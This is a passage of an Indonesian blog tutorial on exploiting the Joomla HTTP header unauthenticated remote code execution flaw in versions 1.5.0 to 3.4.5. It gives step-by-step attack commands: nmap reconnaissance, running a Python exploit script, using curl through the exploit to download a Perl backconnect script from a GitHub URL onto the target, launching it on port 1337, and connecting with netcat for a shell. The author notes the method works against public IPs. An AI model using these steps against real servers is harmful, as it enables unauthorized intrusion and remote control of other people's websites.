Tuesday, May 24, 2016

Exploit Joomla HTTP Header Unauthenticated Remote Code Execution Version 1.5.0 - 3.4.5

Sekilas Tentang Bug Joomla HTTP Header Unauthenticated Remote Code Execution

Pada akhir tahun 2015 tepatnya sekitar bulan Desember, Website - website di seluruh dunia yang menggunakan Platform Joomla sebagai CMS-nya mendapatkan ancaman yang cukup serius dikarenakan di temukan bug/celah yang menginfeksi CMS ini dan versi yang terinfeksi pada saat itu tidak tanggung - tanggung yaitu antara version 1.5.0 - 3.4.5.

Yup versi 1.5.0 - 3.4.5,jika kalian sering oprek - oprek CMS Joomla mungkin versi ini adalah termasuk versi yang masih lumayan baru pada saat itu. (saat ini juga mungkin masih banyak website - website yang menggunakan versi tersebut). Oleh karena itu,disini saya akan menjelaskan sedikit bagaimana cara mengeksploitasi CMS Joomla pada versi tersebut.

Proof Of Concept (POC)


TARGET : http://192.168.43.36/joomla/ (saya menggunakan IP local disini tapi cara ini-pun bisa di gunakan untuk IP publik)




Information Gathering (Mengumpulkan Informasi)

1. Memeriksa Versi PHP Target

Ya, Versi PHP juga mempengaruhi berjalan atau tidak berjalannya exploit ini,menurut info yang saya dapatkan versi PHP yang terdapat pada server target harus memenuhi kiteria seperti dibawah ini :

PHP Vulnerable Joomla HTTP Header Unauthenticated Remote Code Execution Version 1.5.0 – 3.4.5
Version 5.3.xx
Version ≤ 5.4.45
Version ≤ 5.5.29
Version ≤ 5.6.13

Untuk mengetahui versi php pada target kita bisa melakukannya dengan berbagai cara,bagaimanapun caranya itu sama saja, intinya kita harus bisa mengetahui versi php yang di gunakan oleh target, kalo saya disini akan mencoba cek versi php target dengan menggunakan NMAP. (Jika ada yang belum tau bagaimana cara menginstall NMAP bisa searching di google).

Untuk cara penggunaannya cukup mudah,hanya dengan menggunakan command :
"nmap -p 80 -sV --script=http-php-version.nse <target>"

Oke,skarang saya akan coba cek versi php pada target saya dengan command :
"nmap -p 80 -sV --script=http-php-version.nse 192.168.43.36"



Nah kita lihat,ternyata versi php pada target yaitu PHP/5.6.12. Dimana versi tersebut ada di dalam list php yang vulnerable. Maka dari itu kita dapat melanjutkan proses information gathering ini.

2. Memeriksa Versi Joomla Target

Setelah kita mengetahui versi PHP pada target,skarang waktunya kita mengecek versi joomla yang di gunakan target. Dengan cara menyisipkan url "/language/en-GB/en-GB.xml" setelah url joomla target.

Contoh jika saya disini jadi-nya "http://192.168.43.36/joomla/language/en-GB/en-GB.xml"


Bisa kita liat,kita mendapatkan joomla versi 3.3.1, yang artinya joomla versi tersebut masuk kedalam range dalam exploit ini dan tidak menutup kemungkinan kita dapat mengeksploitasi joomla tersebut :D.

Setelah kita sudah cukup mendapatkan informasi maka selanjutnya kita masuk ke bagian exploit joomla-nya itu sendiri.

Exploit Joomla (Eksploitasi CMS Joomla)

Tools

Ada beberapa tool yang harus di download antara lain adalah
Jika semua tool sudah di download saat-nya kita mulai eksploitasi ini

1. Masuk ke terminal dan jalankan script "Exploit Joomla 1.5.0 - 3.4.5" dengan command :
"python joomlarce.py -t <target> --cmd

Jadinya :
"python joomlarce.py -t http://192.168.43.36/joomla/ --cmd


2. Disinilah kita memulai backconnect terhadap server joomla tersebut,yang harus di lakukan adalah memasukan script backconnect ke dalam server target tersebut. Oleh karena itu saya memberikan optional untuk mendownloadnya,karna kita bisa mendownload-nya langsung kedalam server dengan link github yang saya berikan.

Oke,langsung saja kita coba untuk mendownload script backconnect yang ada di github saya melalui server target via curl.
Disini saya menggunakan command :
"curl https://raw.githubusercontent.com/jasayosep/backcoonect/master/perl.txt -o /tmp/backconnect.pl"


Jika muncul "<Response [200]>" Artinya server target membalasnya dengan kondisi baik dan kita ansumsikan bahwa "backconnect" kita sudah ada di dalam server target yang berada pada path /tmp dengan nama "backconnect.pl"

3. Selanjutnya kita harus menjalankan backconnect tersebut agar dapat kita hubungkan dengan PC/Laptop kita. Oke langsung saja kita jalankan script "backconnect.pl" kita dengan command :
"perl /tmp/backconnect.pl 1337"


NP: angka 1337 itu adalah port yang kita gunakan untuk melakukan backconnect dan bisa kita ganti sesuai selera kita

Baik,kita lihat,setelah saya menjalankan script "backconnect.pl" di dalam server target ternyata saya tidak mendapatkan response apa-apa :( ....... tapi tenang saja,ini berarti script kita berhasil dijalankan di dalam server tersebut tetapi apabila server merespon-nya dengan "<response [200]>" itu artinya script "backconnect.pl" kita tidak berjalan di dalam server target. Oke karna disini saya tidak mendapatkan respon apa-apa,kita dapat melanjutkan exploit ini.

4. Jika script sudah berjalan di server target,lalu selanjutnya apa?  Ya, tidak lain tidak bukan adalah melakukan backconnect dari PC/Laptop kita ke server target. Baik yang harus di lakukan pertama ialah kita buka terminal baru (terminal yang kita buat exploit jangan di tutup biarkan saja seperti itu) lalu setelah terbuka terminal baru kita lanjutkan dengan menuliskan command :
"nc -vv <target> <port>"

Sehingga di dalam tutorial ini kita dapat menuliskannya menjadi :

"nc -vv 192.168.43.36 1337"

Dan untuk port-nya, kita sesuaikan dengan port yang kita jalankan di server target. (Pada command "perl /tmp/backconnect.pl 1337")

lalu setelah kita enter maka....


Ya, kita lihat bahwa kita mendapatkan akses shell ke server target :D

Selain tutorial dalam bentuk tulisan, saya juga membuatnya dalam bentuk video dan bisa lihat di bawah ini :




Oke,Mungkin sampai sini dulu tutorialnya,Dan jika ada kritik,saran atau mungkin pertanyaan silahkan berkomentar dibawah ini.

0 comments:

Post a Comment